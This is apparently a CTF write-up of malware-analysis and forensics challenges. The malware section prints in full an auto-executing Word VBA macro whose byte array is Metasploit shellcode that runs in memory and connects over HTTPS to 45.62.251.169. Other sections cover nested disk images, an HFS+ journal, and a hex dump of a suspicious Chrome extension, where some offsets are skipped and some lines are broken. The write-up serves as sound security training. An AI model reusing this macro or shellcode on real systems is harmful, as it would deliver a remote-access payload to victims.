'PROJECT' A2: 71 'PROJECTwm' A3: M 22157 'VBA/NewMacros' A4: m 1129 'VBA/ThisDocument' A5: 3180 'VBA/_VBA_PROJECT' A6: 1672 'VBA/__SRP_0' A7: 287 'VBA/__SRP_1' A8: 8586 'VBA/__SRP_2' A9: 405 'VBA/__SRP_3' A10: 224 'VBA/__SRP_4' A11: 66 'VBA/__SRP_5' A12: 577 'VBA/dir'</code></pre> <p>This tells us, that the macro is in stream <code>A3</code>, so let&rsquo;s extract it:</p> <pre><code>$ python2 oledump.py -s A3 -v 'TOP SECRET -- For Your Eyes Only.docm' Attribute VB_Name = "NewMacros" #If VBA7 Then Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Yui As Long, ByVal Ishjn As Long, ByVal Iyjoknq As LongPtr, Bfstulfe As Long, ByVal Ztdx As Long, Ajuzag As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Rwsmgf As Long, ByVal Yfhfyt As Long, ByVal Gmv As Long, ByVal Fzuyvr As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dsxwyr As LongPtr, ByRef Ulfjrsim As Any, ByVal Qaozt As Long) As LongPtr #Else Private Declare Function CreateThread Lib "kernel32" (ByVal Yui As Long, ByVal Ishjn As Long, ByVal Iyjoknq As Long, Bfstulfe As Long, ByVal Ztdx As Long, Ajuzag As Long) As Long Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Rwsmgf As Long, ByVal Yfhfyt As Long, ByVal Gmv As Long, ByVal Fzuyvr As Long) As Long Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dsxwyr As Long, ByRef Ulfjrsim As Any, ByVal Qaozt As Long) As Long #End If Sub Auto_Open() Dim Nlgunnv As Long, Zniywf As Variant, Uprurh As Long #If VBA7 Then Dim Arbyj As LongPtr, Swyyipid As LongPtr #Else Dim Arbyj As Long, Swyyipid As Long #End If Zniywf = Array(232, 143, 0, 0, 0, 96, 49, 210, 100, 139, 82, 48, 137, 229, 139, 82, 12, 139, 82, 20, 15, 183, 74, 38, 139, 114, 40, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 73, 117, 239, 82, 139, 82, 16, 87, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, 116, 76, 1, 208, 80, 139, 88, 32, 1, 211, 139, 72, 24, 133, 201, 116, 60, 49, 255, _ 73, 139, 52, 139, 1, 214, 49, 192, 193, 207, 13, 172, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, 36, 117, 224, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 233, 128, 255, 255, 255, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, _ 104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, 83, 232, 62, 0, 0, 0, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 49, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, _ 0, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, 21, 1, 0, 0, 47, 57, 90, 110, 88, 77, 119, 103, 120, 75, 95, 108, 103, 70, 71, 69, 86, 65, 74, 117, 81, 54, 103, 120, 95, 95, 87, 120, 56, 69, 90, 80, 51, 48, 51, 99, 84, 79, 113, 77, 82, 76, 122, 89, 71, 89, 78, 89, 71, 53, 83, 76, 77, 105, 53, 103, _ 71, 119, 85, 100, 111, 80, 122, 118, 90, 55, 54, 118, 54, 73, 97, 103, 71, 73, 105, 116, 86, 70, 56, 52, 68, 70, 87, 48, 102, 76, 74, 95, 54, 70, 108, 105, 72, 100, 88, 102, 52, 81, 73, 50, 69, 69, 53, 53, 103, 103, 86, 118, 119, 72, 121, 113, 72, 109, 117, 107, 100, 57, 100, 107, 103, 112, 112, 117, 116, 103, 45, 118, 117, 51, 52, 69, 73, 0, 80, 104, _ 87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 232, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79, _ 117, 205, 232, 74, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 52, 53, 46, 54, 50, 46, 50, 53, 49, 46, 49, 54, 57, _ 0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213) Arbyj = VirtualAlloc(0, UBound(Zniywf), &amp;H1000, &amp;H40) For Uprurh = LBound(Zniywf) To UBound(Zniywf) Nlgunnv = Zniywf(Uprurh) Swyyipid = RtlMoveMemory(Arbyj + Uprurh, Nlgunnv, 1) Next Uprurh Swyyipid = CreateThread(0, 0, Arbyj, 0, 0, 0) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub</code></pre> <p>Hm, that array looks <em>very</em> much like base 10 encoded chars<a id="fnref1" class="footnote-ref" href="#fn1">¹</a> &ndash; let&rsquo;s check:</p> <pre><code>$ python3 Python 3.7.3 (default, Jan 22 2021, 20:04:44) [GCC 8.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; myarray = [ 232, 143, 0, 0, 0, 96, 49, 210, 100, 139, 82, 48, 137, 229, 139, 82, 12, 139, 82, 20, 15, 183, 74, 38, 139, 114, 40, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, 1, 199, 73, 117, 239, 82, 139, 82, 16, 87, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, 116, 76, 1, 208, 80, 139, 88, 32, 1, 211, 139, 72, 24, 133, 201, 116, 60, 49, 255,73, 139, 52, 139, 1, 214, 49, 192, 193, 207, 13, 172, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, 36, 117, 224, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, 233, 128, 255, 255, 255, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84,104, 76, 119, 38, 7, 255, 213, 49, 219, 83, 83, 83, 83, 83, 232, 62, 0, 0, 0, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 49, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111,0, 104, 58, 86, 121, 167, 255, 213, 83, 83, 106, 3, 83, 83, 104, 187, 1, 0, 0, 232, 21, 1, 0, 0, 47, 57, 90, 110, 88, 77, 119, 103, 120, 75, 95, 108, 103, 70, 71, 69, 86, 65, 74, 117, 81, 54, 103, 120, 95, 95, 87, 120, 56, 69, 90, 80, 51, 48, 51, 99, 84, 79, 113, 77, 82, 76, 122, 89, 71, 89, 78, 89, 71, 53, 83, 76, 77, 105, 53, 103,71, 119, 85, 100, 111, 80, 122, 118, 90, 55, 54, 118, 54, 73, 97, 103, 71, 73, 105, 116, 86, 70, 56, 52, 68, 70, 87, 48, 102, 76, 74, 95, 54, 70, 108, 105, 72, 100, 88, 102, 52, 81, 73, 50, 69, 69, 53, 53, 103, 103, 86, 118, 119, 72, 121, 113, 72, 109, 117, 107, 100, 57, 100, 107, 103, 112, 112, 117, 116, 103, 45, 118, 117, 51, 52, 69, 73, 0, 80, 104,87, 137, 159, 198, 255, 213, 137, 198, 83, 104, 0, 50, 232, 132, 83, 83, 83, 87, 83, 86, 104, 235, 85, 46, 59, 255, 213, 150, 106, 10, 95, 104, 128, 51, 0, 0, 137, 224, 106, 4, 80, 106, 31, 86, 104, 117, 70, 158, 134, 255, 213, 83, 83, 83, 83, 86, 104, 45, 6, 24, 123, 255, 213, 133, 192, 117, 20, 104, 136, 19, 0, 0, 104, 68, 240, 53, 224, 255, 213, 79,117, 205, 232, 74, 0, 0, 0, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, 64, 0, 83, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 207, 139, 7, 1, 195, 133, 192, 117, 229, 88, 195, 95, 232, 107, 255, 255, 255, 52, 53, 46, 54, 50, 46, 50, 53, 49, 46, 49, 54, 57,0, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213] &gt;&gt;&gt; output = '' &gt;&gt;&gt; for i in myarray: ... output += chr(i) ... &gt;&gt;&gt; print(output) &egrave;`1&Ograve;dR0&aring;R &not;&Ccedil;8&agrave;u&ocirc;}&oslash;;}$u&agrave;XX$&Oacute;f &Oacute;H&Eacute;t&lt;1&yuml;I4&Ouml;1&Agrave;&Aacute;&Iuml; KX&Oacute;&ETH;D$$[[aYZQ&yuml;&agrave;X_Z&eacute;&yuml;&yuml;&yuml;]hnethwiniThLw&amp;&yuml;&Otilde;1&Ucirc;SSSSS&egrave;&gt;Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Geckoh:Vy&sect;&yuml;&Otilde;SSjSSh&raquo;&egrave;/9ZnXMwgxK_lgFGEVAJuQ6gx__Wx8EZP303cTOqMRLzYGYNYG5SLMi5gGwUdoPzvZ76v6IagGIitVF84DFW0fLJ_6FliHdXf4QI2EE55ggVvwHyqHmukd9dkgpputg-vu34EIPhW&AElig;&yuml;&Otilde;&AElig;Sh2&egrave;SSSWSVh&euml;U.;&yuml;&Otilde;j _h3&agrave;jPjVhuF&yuml;&Otilde;SSSSVh-{&yuml;&Otilde;&Agrave;uhhD&eth;5&agrave;&yuml;&Otilde;Ou&Iacute;&egrave;Jj@hh@ShX&curren;S&aring;&yuml;&Otilde;SS&ccedil;Wh SVh&acirc;&yuml;&Otilde;&Agrave;t&Iuml;&Atilde;&Agrave;u&aring;X&Atilde;_&egrave;k&yuml;&yuml;&yuml;45.62.251.169&raquo;&eth;&micro;&cent;VjS&yuml;&Otilde;</code></pre> <p>Ok, not a pure string, but we definitely see a user agent and an IP address <code>45.62.251[.]169</code> and this is our answer.</p> <h3 id="secret-document-23">Secret document (2/3)</h3> <p>The basic text and file are the same, but this time our task is:</p> <blockquote> <p>Can you find out which protocol is used to retrieve the secrets?</p> </blockquote> <p>As we&rsquo;ve already found a user agent in the above output, we were pretty sure that it would be either HTTP or HTTPS and the latter was the correct answer.</p> <h3 id="secret-document33">Secret document(3/3)</h3> <p>Our final task is</p> <blockquote> <p>It seems that we have been fooled and that this document was actually malicious.</p> <p>Can you find out which framework was used to generate the malicious payload?</p> </blockquote> <p>We weren&rsquo;t sure how to tackle this and the end of the challenge was near, so we simply guessed "metasploit" which was correct.</p> <h3 id="file-in-the-wild-12">File in the wild (1/2)</h3> <p>We get a file and are told:</p> <blockquote> <p>What is the flag?</p> </blockquote> <p>At first, there&rsquo;s not much this file tells us about itself:</p> <pre><code>$ file suspectfile suspectfile: data</code></pre> <p>However, when looking at the end of the file, we see the following:</p> <pre><code>$ xxd suspectfile | tail -n 5 000009e0: 38b7 5bda 7fb8 9f6d 6fb5 976d 5484 3828 8.[....mo..mT.8( 000009f0: 636a 6301 ff1a 6d27 02d8 1f3b 9511 238a cjc...m'...;..#. 00000a00: 5c9b 886c 18da f1b6 3636 77b3 7f15 c714 \..l....66w..... 00000a10: 6c6f 59ed 0079 7261 6e69 6279 6d03 0060 loY..yranibym..` 00000a20: 8589 b708 088b 1f .......</code></pre> <p>And <code>yranibym</code> is "mybinary" reversed, so this seems to be a hint. We wrote a quick Python script to reverse the reversion:</p> <pre><code>file = open("suspectfile", 'rb') reverse_me = [] byte = file.read(1) while byte: reverse_me.append(byte) byte = file.read(1) reverse_me = reversed(reverse_me) with open('sample', 'wb') as f: for byte in reverse_me: f.write(byte)</code></pre> <p>And, did it help?</p> <pre><code>$ file sample sample: gzip compressed data, was "mybinary", last modified: Sun Apr 25 15:24:39 2021, from Unix, original size modulo 2^32 8096 $ mv sample{,.gz} &amp;&amp; gunzip sample.gz $ file sample sample: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=3fd9004e328d4fc9efeb43cafc723d6537619610, not stripped</code></pre> <p>Well, that&rsquo;s definitely better! Let&rsquo;s look for the flag:</p> <pre><code>$ strings sample | grep flag flag:9d2rfLBi7KtyhaYyUZXbe34aJsgz90kldFFFFFFFg</code></pre> <h2 id="forensics">Forensics</h2> <p>This section had three challenges and we solved all of them.</p> <h3 id="russian-dolls-12">Russian Dolls (1/2)</h3> <p>We get an archive and the following info:</p> <blockquote> <p>Can you find the secret file?</p> <p>We have received from our secret agent 007 this archive that contains a top secret sentence to save the world.</p> <p>Can you find your way through the archive? (SHA1: <code>cf276efbcdb41cd9541d274e608ea4cc6e6635b7</code>)</p> <p>This is your mission!</p> </blockquote> <p>First, let&rsquo;s see:</p> <pre><code>$ tar -tf GoldenEye.tgz GoldenEye.dd $ tar -xf GoldenEye.tgz $ sudo losetup -f GoldenEye.dd NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT loop0 7:0 0 3.7G 0 loop [snip] $ sudo partprobe /dev/loop0 $ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT loop0 7:0 0 3.7G 0 loop └─loop0p1 259:0 0 3.7G 0 part $ sudo mount /dev/loop0p1 /mnt/ $ cd /mnt $ ls decodeme.7z lost+found pic1.jpg pic2.png pic3.jpeg pic4.jpg pic5.jpeg pic6.jpg $ ls -lh decodeme.7z -rw-rw-r-- 1 user user 437M May 12 12:06 decodeme.7z $ cp decodeme.7z ~/first-ctf-2021/forensics $ cd - ~/first-ctf-2021/forensics $ ls decodeme.7z E2-ECE4X0Ac2ke9.jpeg ghidra GoldenEye.dd goldeneye.sha GoldenEye.tgz $ 7z l decodeme.7z 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Core(TM) i7-10875H CPU @ 2.30GHz (A0652),ASM,AES-NI) Scanning the drive for archives: 1 file, 457303090 bytes (437 MiB) Listing archive: decodeme.7z -- Path = decodeme.7z Type = 7z Physical Size = 457303090 Headers Size = 178 Method = LZMA2:24 7zAES Solid = - Blocks = 1 Date Time Attr Size Compressed Name ------------------- ----- ------------ ------------ ------------------------ 2021-05-12 12:02:45 ....A 1023410176 457302912 secretContainer.dd ------------------- ----- ------------ ------------ ------------------------ 2021-05-12 12:02:45 1023410176 457302912 1 files</code></pre> <p>However, when trying to decompress it, we&rsquo;re ask for a password we don&rsquo;t have, so let&rsquo;s check the images. All of them have a common topic: russian dolls &ndash; thus, after trying a few versions &ldquo;RussianDoll&rdquo; worked and the archive was decompressed.</p> <p>Rinse and repeat: Set up loop devices, mount the container and check what&rsquo;s inside: The next two steps contain MBR-formatted disks called <code>MyDear.dmg</code> and within it <code>MyPrecious.dmg</code> and inside it we find <code>flag.txt</code>:</p> <pre><code>$ cat flag.txt From Russia with Love</code></pre> <p>And that is our flag :)</p> <h3 id="russian-dolls-22">Russian Dolls (2/2)</h3> <p>The general text is the same as above, but now we have the following task:</p> <blockquote> <p>We have learned that a second hidden sentence is somewhere stored in a file metadata. Have a look and don&rsquo;t forget to check for specific filesystem artifacts.</p> </blockquote> <p>After initially wasting a lot of time using sleuthkit tools to find anything in the actual metadata, we started checking for filesystem specific files and again in the <code>MyPrecious.dmg</code> we finally found what we were looking for:</p> <pre><code>$ mmls MyPrecious.dmg GUID Partition Table (EFI) Offset Sector: 0 Units are in 512-byte sectors Slot Start End Length Description 000: Meta 0000000000 0000000000 0000000001 Safety Table 001: ------- 0000000000 0000000039 0000000040 Unallocated 002: Meta 0000000001 0000000001 0000000001 GPT Header 003: Meta 0000000002 0000000033 0000000032 Partition Table 004: 000 0000000040 0000499999 0000499960 disk image 005: ------- 0000500000 0000500039 0000000040 Unallocated $ fls -o 0000000040 MyPrecious.dmg r/r 3: $ExtentsFile r/r 4: $CatalogFile r/r 5: $BadBlockFile r/r 6: $AllocationFile r/r 8: $AttributesFile r/r 22: .DS_Store d/d 20: .fseventsd d/d 19: .HFS+ Private Directory Data^ r/r 16: .journal r/r 17: .journal_info_block r/r 23: flag.txt d/d 18: ^^^^HFS+ Private Data $ icat -o 0000000040 MyPrecious.dmg 16 | strings | sed -e 's/Z\+/Z/g' xLNJxV4 Z jrnlhfs+P jrnlhfs+P HFSJ ZH+ HFSJ jrnlhfs+P jrnlhfs+P Z @ jrnlhfs+P jrnlhfs+P HFSJ X@R Z @ jrnlhfs+P jrnlhfs+P HFSJ =???Z @ jrnlhfs+P jrnlhfs+P HFSJ Z The World Is Not Enough @ jrnlhfs+P jrnlhfs+P HFSJ Z @ jrnlhfs+P jrnlhfs+P HFSJ Z @ jrnlhfs+P jrnlhfs+P HFSJ</code></pre> <p>And &ldquo;The World Is Not Enough&rdquo; was the solution. We have no idea why HFS+ journals contain so many &rsquo;Z&rsquo;s, but they do, so we filtered them out using <code>sed</code>, in case you wonder ;)</p> <h3 id="crhome-matser">Crhome Matser</h3> <p>We got a file and the following task:</p> <blockquote> <p>During a forensic investigation of an end user&rsquo;s Linux machine you find a master preferences file. Your colleague couldn&rsquo;t get the file to load properly. See if you can.</p> </blockquote> <p>So let&rsquo;s have a look at this:</p> <pre><code>$ file master_preferences master_preferences: JSON data $ jq . master_preferences { "homepage": "http://www.google.com", "homepage_is_newtabpage": false, "browser": { "show_home_button": true }, "session": { "restore_on_startup": 4, "startup_urls": [ "http://www.google.com/ig" ] }, "bookmark_bar": { "show_on_all_tabs": true }, "sync_promo": { "show_on_first_run_allowed": false }, "distribution": { "import_bookmarks_from_file": "bookmarks.html", "import_bookmarks": true, "import_history": true, "import_home_page": true, "import_search_engine": true, "ping_delay": 60, "suppress_first_run_bubble": true, "do_not_create_desktop_shortcut": true, "do_not_create_quick_launch_shortcut": true, "do_not_launch_chrome": true, "do_not_register_for_update_launch": true, "make_chrome_default": true, "make_chrome_default_for_user": true, "suppress_first_run_default_browser_prompt": true, "system_level": true, "verbose_logging": true }, "first_run_tabs": [ "http://www.example.com", "http://welcome_page", "http://new_tab_page" ], "external_crx": "https://pastebin.com/s2cZFLUi", "external_version": "1.0" }</code></pre> <p>Ok, so what&rsquo;s in the paste? We find:</p> <pre><code>00000000: 4372 3234 0300 0000 4502 0000 12ac 040a Cr24....E....... 00000010: a602 3082 0122 300d 0609 2a86 4886 f70d ..0.."0...*.H... 00000020: 0101 0105 0003 8201 0f00 3082 010a 0282 ..........0..... 00000030: 0101 00c6 a2a9 8c2a 49f5 f32b eef7 c420 .......*I..+... 00000040: 2473 5e64 f88a 4a4c d2bf 9728 0074 1a98 $s^d..JL...(.t.. 00000050: 8865 05ed 4137 3841 5f5f 0497 01bb fd3e .e..A78A__.....&gt; 00000060: c708 90dd 8833 ff6a 608e 1c38 b87a d426 .....3.j`..8.z.&amp; 00000070: 07ce 320f c1e3 1b66 77d7 4a87 5e7b cd61 ..2....fw.J.^{.a 00000080: 32b7 8ec6 8c05 7272 3f11 f474 63f4 ce70 2.....rr?..tc..p 00000090: 45c3 91e6 a564 356d 0365 fc99 9f78 b9f5 E....d5m.e...x.. 000000a0: 1444 bf70 8fd6 0d5a a747 a913 f94e ed44 .D.p...Z.G...N.D 000000b0: aa45 eefe 862b 8046 946c 207a cc49 6970 .E...+.F.l z.Iip 000000c0: 2faa 31d4 978a 5f03 c308 4caa 9d07 6276 /.1..._...L...bv 000000d0: 0a96 1469 2cb5 856c ea94 adfd 4502 f410 ...i,..l....E... 000000e0: 4369 0930 b0fe fbfd 193f 5c31 acef 4228 Ci.0.....?\1..B( 000000f0: 4384 f9d2 3009 b42b b8c6 2704 0167 9036 C...0..+..'..g.6 00000100: be20 4ff3 60cb a88e 5563 2aa8 85b7 b8a5 . O.`...Uc*..... 00000110: 6452 100e 42c3 3f0f 37dd 90ca 51a1 1001 dR..B.?.7...Q... 00000120: 7210 ff40 459a 0ffd 886c cd1b d6d5 4e6d r..@E....l....Nm 00000130: c97f 5302 0301 0001 1280 021d 2795 6e4c ..S.........'.nL 00000140: b38d e51f a98b 30d2 92c7 b39d fbdb e0f5 ......0......... 00000150: c307 d4c2 9423 f239 c03e 974a bdc1 e745 .....#.9.&gt;.J...E 00000160: e5b7 a849 e275 c6b5 a0ea 892a 707d bd5e ...I.u.....*p}.^ 00000170: d16f 282c 5948 c65c b4d9 2d42 f6b6 5b29 .o(,YH.\..-B..[) 00000180: e658 9037 fc44 44fa 295a 9e92 4408 515b .X.7.DD.)Z..D.Q[ 00000190: 719e 7014 bd3b 9d42 9e71 2406 63ae 42a2 q.p..;.B.q$.c.B. 000001a0: 7e91 c2c9 8400 76c9 edbe 37be 94ee 0aa8 ~.....v...7..... 000001b0: cd21 dd7b f175 5238 ca39 3a82 320b 402a .!.{.uR8.9:.2.@* 000001c0: 62ba 6bad 397d c90f b060 39c2 f81e f9b0 b.k.9}...`9..... 000001d0: 9ce6 b750 e086 226b 11b4 5525 17d3 62da ...P.."k..U%..b. 000001e0: 00a1 92d6 60de fabc 4af9 5278 7d01 8913 ....`...J.Rx}... 000001f0: b28c e399 12c1 454d 4207 5f92 8e4b 71fd ......EMB._..Kq. 00000200: 19e7 1a1b 0e63 c008 e817 512f a7d8 0e45 .....c....Q/...E 00000210: 5c95 e06d d23e 9af7 f4f3 57e7 4196 1b2a \..m.&gt;....W.A..* 00000220: 165f 9624 8a17 cb91 d398 188a ffd1 9e64 ._.$...........d 00000230: 32a6 237d d099 8316 38ea 9982 f104 120a 2.#}....8....... 00000240: 1018 849b 4bfd edcb a144 5824 ce62 3b6d ....K....DX$.b;m 00000250: f250 4b03 0414 0000 0808 0005 9932 508d .PK..........2P. 00000260: 9ca8 efee 0300 00e9 0300 0008 0000 0069 ...............i 00000270: 636f 6e2e 706e 6701 e903 16fc 8950 4e47 con.png......PNG 00000280: 0d0a 1a0a 0000 000d 4948 4452 0000 0013 ........IHDR.... 00000290: 0000 0013 0806 0000 0072 5036 cc00 0003 .........rP6.... 000002a0: b049 4441 5438 11bd c17d 4cd4 751c c0f1 .IDAT8...}L.u... 000002b0: cffd 7edf dfc1 8596 80b5 9d20 4e86 732e ..~........ N.s. 000002c0: 2506 62c8 7c0a 1f16 1a6c 4854 16c1 2c56 %.b.|....lHT..,V 000002d0: 9ad8 4492 871c 88a4 26a7 079e b001 c993 ..D.....&amp;....... 000002e0: 9808 4426 1707 5ef1 24a0 e650 d3a9 9b5a ..D&amp;..^.$..P...Z 000002f0: ad89 acd6 7c5e 9334 d077 adad cd39 6bf5 ....|^.4.w...9k. 00000300: 8faf 973c 1ea7 c55f 6e48 ac1a f04a b7f6 .... 000003a0: 958e 9f4a e561 3345 2cfd a22e 94c6 6bb8 ...J.a3E,.....k. 000003b0: fc15 2d93 343a 4d8a 1ed1 e9f7 14e2 4b84 ..-.4:M.......K. 000003c0: ad6f 5988 fa21 0d47 d735 4adc 5074 0036 .oY..!.G.5J.Pt.6 000003d0: ed86 54db b504 79d0 7aa5 220f 28fd 9e3d ..T...y.z.".(..= 000003e0: 42a7 6fac 4eab 5527 73b5 89b1 4784 e9b5 B.o.N.U's...G... 000003f0: 4256 8ab0 f78d 396c 3875 9172 d76f d4cf BV....9l8u.r.o.. 00000400: 8e67 b7fd 3876 2764 57df 3f25 7978 cadf .g..8v'dW.?%yx.. 00000410: 8a94 cadb 65d6 f9c2 64d0 16a4 d1f6 a481 ....e...d....... 00000420: 235a 236a bf86 ba23 d485 6838 b71c a2e2 #Z#j...#..h8.... 00000430: 30d8 777e 43a7 8727 7bca cf63 77c1 b6ac 0.w~C..'{..cw... 00000440: ae11 e7b8 6999 e522 86fc c9e4 16d5 5d15 ....i.."......]. 00000450: a9a8 f357 344c d168 19a5 d1ad 1b74 790b ...W4L.h.....ty. 00000460: 0bea ad1c 1e1f 4445 d34d ca7a a068 f916 ......DE.M.z.h.. 00000470: 7a26 4ea5 d47d 8fed 9b3a 6855 06e7 95ce z&amp;N..}...:hU.... 00000480: 51c3 0895 4411 6baf a65d 2f9b 164e 9b8f Q...D.k..]/..N.. 00000490: 99ba 40a1 296c 3eb9 1ff7 b379 e31e 32d7 ..@.)l&gt;....y..2. 000004a0: cee4 d08c 57d8 7910 8add 5011 3c8f f6d8 ....W.y...P.O...y....%q 00000580: 29bb 589e d34b eab6 efc8 2e1a a060 e339 ).X..K.......`.9 00000590: 6a62 d3d9 1bf6 04d5 3334 cafd 752e 89c1 jb......34..u... 000005a0: 573e 42de 04a1 db3c 9a36 650c 1f33 8ce9 W&gt;B....a= 000007a0: a322 4612 3ca2 51d2 212a 25e0 7db6 f0c2 ."F.&lt;.Q.!*%.}... 000007b0: 7b18 4f62 9ce1 0922 05d9 3136 d9fb 02b9 {.Ob..."..16.... 000007c0: ef50 3d43 1243 699e 91aa 020a 3ac2 4651 .P=C.Ci.....:.FQ 000007d0: 1348 2848 2734 9422 64ce 15d5 b25f 12cf .H(H'4."d...._.. 000007e0: 5987 da63 0c3d 4311 c317 1702 6986 0ca2 Y..c.=C.....i... 000007f0: 81ca c488 7508 f0b9 32d0 911a e5a3 e874 ....u...2......t 00000800: c8b7 ecb4 4006 e783 a327 1d9a 18d2 3a5d ....@....'....:] 00000810: 6aa1 3d6b 9f48 bc97 644f 6de0 9c27 532c j.=k.H..dOm..'S, 00000820: a7aa 4415 00cb 98fe 5008 17a5 f9b5 d133 ..D.....P......3 00000830: 6a62 185d 2b78 6d2a 34c5 1913 3547 6a82 jb.]+xm*4...5Gj. 00000840: 456d 2bf2 43d5 0e3e 2907 2c22 9b33 f670 Em+.C..&gt;).,".3.p 00000850: c6d8 e51a fbc9 0e7b 8621 46d4 2691 01ca .......{.!F.&amp;... 00000860: 4316 1dca f98a 24d0 b1e6 465b 342e 923d C.....$...F[4..= 00000870: 810e 0cec 373b aad9 6111 f165 c953 5b6a ....7;..a..e.S[j 00000880: c98d 40d2 3940 c81c 514b edc9 dd2a c3ca ..@.9@..QK...*.. 00000890: a6a1 8b23 1222 6905 de75 a711 beb2 375d ...#."i..u....7] 000008a0: e773 cf68 8811 8cce a0eb 5421 19a9 90bc .s.h......T!.... 000008b0: 27f1 4111 32e8 00c3 6998 8d25 06fb 4199 '.A.2...i..%..A. 000008c0: 8a9e 63f6 6df6 a2c3 11a3 ae32 f921 6d77 ..c.m......2.!mw 000008d0: 3bf9 ff1b 78f6 77f4 0c4f 8c52 1119 4015 ;...x.w..O.R..@. 000008e0: 87e0 249a baa1 abcf 2bdb 67be c473 f290 ..$.....+.g..s.. 000008f0: f257 bb5f 1978 e8de 0ff4 efb9 f14d a2c1 .W._.x.......M.. 00000900: 52f7 0f50 4b03 0414 0000 0808 0040 9932 R..PK........@.2 00000910: 5020 17bf 2b8f 0000 00e4 0000 000a 0000 P ..+........... 00000920: 0070 6f70 7570 2e68 746d 6c75 8f41 0ec2 .popup.htmlu.A.. 00000930: 300c 04ef bcc2 cd03 88b8 a791 1052 cf7c 0............R.| 00000940: 218d ad26 3434 51ea 22f5 f784 1a8e 9cbc !..&amp;44Q."....... 00000950: f2ee 8e65 d361 f6bc 1782 c0cf 644f 4606 ...e.a......dOF. 00000960: 8009 e4f0 239a e4c8 89ec 90dc 0443 5c90 ....#........C\. 00000970: 2a5c f1e5 164f 68b4 7892 5b7d 8d85 61ad *\...Oh.x.[}..a. 00000980: be57 2597 ad9c 1fab b246 cbfe a0ea 1fd6 .W%......F...... 00000990: 8c19 f76f 2f5c fec0 9b21 8971 63ce 0b44 ...o/\...!.qc..D 000009a0: ec95 0fe4 e7bb 9b48 d95b 8a7e 8640 953a .......H.[.~.@.: 000009b0: a325 2247 84dd fac7 336f 504b 0304 1400 .%"G....3oPK.... 000009c0: 0008 0800 039c 3250 00f5 1da0 d500 0000 ......2P........ 000009d0: 4c01 0000 0d00 0000 6d61 6e69 6665 7374 L.......manifest 000009e0: 2e6a 736f 6e45 8e4d 6bc4 2010 86ef f915 .jsonE.Mk. ..... 000009f0: 83e7 45da 1e7b 2b85 40ef b995 1266 7592 ..E..{+.@....fu. 00000a00: 0ce8 286a b285 65ff 7bd5 14f6 e4c7 fbbc ..(j..e.{....... 00000a10: 1ff7 0140 7914 5e28 97f9 a094 3988 7a87 ...@y.^(....9.z. 00000a20: b7cb d014 414f f5a5 4687 2b8c 2c96 127c ....AO..F.+.,..| 00000a30: 1c28 86ac ba34 c052 3689 6339 5d6a da38 